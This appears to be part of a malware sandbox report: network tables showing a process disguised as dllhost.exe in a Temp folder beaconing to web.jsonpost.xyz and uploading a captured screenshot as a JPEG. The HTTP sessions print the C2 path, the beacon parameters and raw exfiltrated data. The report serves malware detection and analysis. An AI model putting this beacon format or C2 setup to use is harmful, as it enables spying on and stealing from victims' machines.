Nov 29, 2024 01:53:26.296247959 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.296282053 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.296298981 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.296381950 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.296391010 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.296427011 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.296438932 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.416090012 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.416102886 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.416169882 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.416179895 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.416198015 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.416239977 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.457742929 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.457850933 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.577935934 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.579961061 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.625775099 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.745934963 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.747699976 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.949788094 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.949870110 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.116488934 CET	80	49914	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.116604090 CET	49914	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.116646051 CET	49914	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.167248964 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.167325020 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.222898006 CET	49921	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.237763882 CET	80	49914	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.288592100 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.288722992 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.288877964 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.288887024 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.288896084 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.289026022 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.289036036 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.289043903 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.289191961 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.344084978 CET	80	49921	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.344167948 CET	49921	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.344398975 CET	49921	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.405345917 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.405410051 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.405443907 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:27.464520931 CET	80	49921	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.525463104 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:27.597306013 CET	49921	80	192.168.2.4	72.52.178.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 01:52:03.935611010 CET	52190	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:03.936781883 CET	58472	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:04.156912088 CET	53	58472	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:04.454211950 CET	53	52190	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:09.060357094 CET	63372	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:09.198055983 CET	53	63372	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:13.816207886 CET	49565	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:13.954418898 CET	53	49565	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:18.818794012 CET	63972	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:18.956420898 CET	53	63972	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:23.861871958 CET	59176	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:24.000035048 CET	53	59176	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:28.854682922 CET	54889	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:28.995160103 CET	53	54889	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:33.816492081 CET	58557	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:33.953636885 CET	53	58557	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:38.894315004 CET	51356	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:39.032515049 CET	53	51356	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:43.799405098 CET	59080	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:43.938195944 CET	53	59080	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:48.800633907 CET	64823	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:48.938224077 CET	53	64823	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:53.846334934 CET	56153	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:53.984343052 CET	53	56153	1.1.1.1	192.168.2.4
Nov 29, 2024 01:52:58.799515009 CET	57635	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:52:58.936994076 CET	53	57635	1.1.1.1	192.168.2.4
Nov 29, 2024 01:53:03.815944910 CET	54313	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:53:03.961301088 CET	53	54313	1.1.1.1	192.168.2.4
Nov 29, 2024 01:53:08.815901995 CET	57193	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:53:08.953022957 CET	53	57193	1.1.1.1	192.168.2.4
Nov 29, 2024 01:53:13.799598932 CET	52044	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:53:13.937366009 CET	53	52044	1.1.1.1	192.168.2.4
Nov 29, 2024 01:53:18.816462994 CET	61252	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:53:18.955218077 CET	53	61252	1.1.1.1	192.168.2.4
Nov 29, 2024 01:53:23.924268961 CET	53676	53	192.168.2.4	1.1.1.1
Nov 29, 2024 01:53:24.062901974 CET	53	53676	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2024 01:52:03.935611010 CET	192.168.2.4	1.1.1.1	0x14d3	Standard query (0)	web.jsonpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:03.936781883 CET	192.168.2.4	1.1.1.1	0x294	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:09.060357094 CET	192.168.2.4	1.1.1.1	0xa970	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:13.816207886 CET	192.168.2.4	1.1.1.1	0xbbb2	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:18.818794012 CET	192.168.2.4	1.1.1.1	0xba43	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:23.861871958 CET	192.168.2.4	1.1.1.1	0x985a	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:28.854682922 CET	192.168.2.4	1.1.1.1	0x84c7	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:33.816492081 CET	192.168.2.4	1.1.1.1	0x4dd6	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:38.894315004 CET	192.168.2.4	1.1.1.1	0xcf	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:43.799405098 CET	192.168.2.4	1.1.1.1	0x6aea	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:48.800633907 CET	192.168.2.4	1.1.1.1	0x9278	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:53.846334934 CET	192.168.2.4	1.1.1.1	0x799a	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:58.799515009 CET	192.168.2.4	1.1.1.1	0xcd72	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:03.815944910 CET	192.168.2.4	1.1.1.1	0x792b	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:08.815901995 CET	192.168.2.4	1.1.1.1	0xb77d	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:13.799598932 CET	192.168.2.4	1.1.1.1	0x5b94	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:18.816462994 CET	192.168.2.4	1.1.1.1	0xc19d	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:23.924268961 CET	192.168.2.4	1.1.1.1	0x28d9	Standard query (0)	web.xmlpost.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2024 01:52:04.156912088 CET	1.1.1.1	192.168.2.4	0x294	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:04.454211950 CET	1.1.1.1	192.168.2.4	0x14d3	No error (0)	web.jsonpost.xyz		72.52.178.23	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:09.198055983 CET	1.1.1.1	192.168.2.4	0xa970	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:13.954418898 CET	1.1.1.1	192.168.2.4	0xbbb2	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:18.956420898 CET	1.1.1.1	192.168.2.4	0xba43	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:24.000035048 CET	1.1.1.1	192.168.2.4	0x985a	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:28.995160103 CET	1.1.1.1	192.168.2.4	0x84c7	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:33.953636885 CET	1.1.1.1	192.168.2.4	0x4dd6	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:39.032515049 CET	1.1.1.1	192.168.2.4	0xcf	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:43.938195944 CET	1.1.1.1	192.168.2.4	0x6aea	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:48.938224077 CET	1.1.1.1	192.168.2.4	0x9278	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:53.984343052 CET	1.1.1.1	192.168.2.4	0x799a	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:52:58.936994076 CET	1.1.1.1	192.168.2.4	0xcd72	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:03.961301088 CET	1.1.1.1	192.168.2.4	0x792b	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:08.953022957 CET	1.1.1.1	192.168.2.4	0xb77d	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:13.937366009 CET	1.1.1.1	192.168.2.4	0x5b94	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:18.955218077 CET	1.1.1.1	192.168.2.4	0xc19d	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 29, 2024 01:53:24.062901974 CET	1.1.1.1	192.168.2.4	0x28d9	Name error (3)	web.xmlpost.xyz	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

web.jsonpost.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:04.581871033 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:04.581976891 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:04.582056999 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:04.582140923 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:04.701970100 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:04.702052116 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:04.702147961 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:04.702147961 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:04.702218056 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:04.820410967 CET	6180	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:04.820446014 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:04.582485914 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:06.264380932 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:06.452677965 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:06.452703953 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:06.452795029 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:06.452821016 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:06.572807074 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:06.572859049 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:06.572879076 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:06.573009968 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:06.573065042 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:06.573102951 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:06.693336010 CET	7416	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
